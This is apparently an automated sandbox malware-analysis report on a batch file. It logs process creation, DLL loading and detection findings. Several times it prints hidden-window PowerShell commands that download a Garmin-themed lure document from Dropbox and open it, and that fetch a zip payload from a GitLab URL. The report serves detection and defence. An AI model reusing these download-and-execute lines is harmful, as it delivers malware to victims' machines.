Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/mfmemsox3eb9769rgrajn/Garmin_Campaign_Information_for_Partners_V11.docx?rlkey=oy421vwzu8dsedagxt4w0ddsw&st=31jc5byu&dl=1', 'C:\Users\user\AppData\Local\Temp\\Garmin_Campaign_Information_for_Partners_V11.docx')"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "Start-Process 'C:\Users\user\AppData\Local\Temp\\Garmin_Campaign_Information_for_Partners_V11.docx'"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://gitlab.com/fgh8090051/jgh/-/raw/main/FGa1812.zip', 'C:\Users\Public\Document.zip')"
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp.com 437	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\findstr.exe fINdstr /L /I set "C:\Users\user\Desktop\slifdgjsidfg19.bat"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\findstr.exe fINdstr /L /I goto "C:\Users\user\Desktop\slifdgjsidfg19.bat"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\findstr.exe fINdstr /L /I echo "C:\Users\user\Desktop\slifdgjsidfg19.bat"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\findstr.exe fINdstr /L /I pause "C:\Users\user\Desktop\slifdgjsidfg19.bat"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe fInd	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c type tmp	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c type tmp	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/mfmemsox3eb9769rgrajn/Garmin_Campaign_Information_for_Partners_V11.docx?rlkey=oy421vwzu8dsedagxt4w0ddsw&st=31jc5byu&dl=1', 'C:\Users\user\AppData\Local\Temp\\Garmin_Campaign_Information_for_Partners_V11.docx')"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "Start-Process 'C:\Users\user\AppData\Local\Temp\\Garmin_Campaign_Information_for_Partners_V11.docx'"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://gitlab.com/fgh8090051/jgh/-/raw/main/FGa1812.zip', 'C:\Users\Public\Document.zip')"	Jump to behavior

Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\System32\chcp.com	Section loaded: ulib.dll	Jump to behavior
Source: C:\Windows\System32\chcp.com	Section loaded: fsutilext.dll	Jump to behavior
Source: C:\Windows\System32\find.exe	Section loaded: ulib.dll	Jump to behavior
Source: C:\Windows\System32\find.exe	Section loaded: fsutilext.dll	Jump to behavior
Source: C:\Windows\System32\find.exe	Section loaded: ulib.dll	Jump to behavior
Source: C:\Windows\System32\find.exe	Section loaded: fsutilext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dlnashext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wpdshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source:	Binary string: \??\C:\Windows\System.Management.Automation.pdbpdb source: powershell.exe, 0000000D.00000002.2260356546.000001E36CBBD000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\AppData\Local\Microsoft\CLR_v4.0.pdb source: powershell.exe, 0000000D.00000002.2262151033.000001E36CFB3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\System.pdb source: powershell.exe, 0000000D.00000002.2262151033.000001E36CFB3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.pdb source: powershell.exe, 0000000D.00000002.2260356546.000001E36CBBD000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\System.Management.Automation.pdbl source: powershell.exe, 0000000D.00000002.2260356546.000001E36CBBD000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ion.pdb source: powershell.exe, 0000000D.00000002.2260356546.000001E36CBBD000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ecn.pdbt source: powershell.exe, 0000000D.00000002.2262151033.000001E36CFB3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\symbols\dll\System.pdb>{ source: powershell.exe, 0000000D.00000002.2261579190.000001E36CF40000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Windows\System.Core.pdbpdbore.pdbD{ source: powershell.exe, 0000000D.00000002.2261579190.000001E36CF40000.00000004.00000020.00020000.00000000.sdmp

Data Obfuscation

Yara detected Abobus Obfuscator

Source: Yara match

File source: slifdgjsidfg19.bat, type: SAMPLE

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/mfmemsox3eb9769rgrajn/Garmin_Campaign_Information_for_Partners_V11.docx?rlkey=oy421vwzu8dsedagxt4w0ddsw&st=31jc5byu&dl=1', 'C:\Users\user\AppData\Local\Temp\\Garmin_Campaign_Information_for_Partners_V11.docx')"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "Start-Process 'C:\Users\user\AppData\Local\Temp\\Garmin_Campaign_Information_for_Partners_V11.docx'"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://gitlab.com/fgh8090051/jgh/-/raw/main/FGa1812.zip', 'C:\Users\Public\Document.zip')"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/mfmemsox3eb9769rgrajn/Garmin_Campaign_Information_for_Partners_V11.docx?rlkey=oy421vwzu8dsedagxt4w0ddsw&st=31jc5byu&dl=1', 'C:\Users\user\AppData\Local\Temp\\Garmin_Campaign_Information_for_Partners_V11.docx')"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "Start-Process 'C:\Users\user\AppData\Local\Temp\\Garmin_Campaign_Information_for_Partners_V11.docx'"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://gitlab.com/fgh8090051/jgh/-/raw/main/FGa1812.zip', 'C:\Users\Public\Document.zip')"	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 13_2_00007FFD342100BD pushad ; iretd		13_2_00007FFD342100C1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 18_2_00007FFD342200BD pushad ; iretd		18_2_00007FFD342200C1

Persistence and Installation Behavior

Tries to download and execute files (via powershell)

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/mfmemsox3eb9769rgrajn/Garmin_Campaign_Information_for_Partners_V11.docx?rlkey=oy421vwzu8dsedagxt4w0ddsw&st=31jc5byu&dl=1', 'C:\Users\user\AppData\Local\Temp\\Garmin_Campaign_Information_for_Partners_V11.docx')"
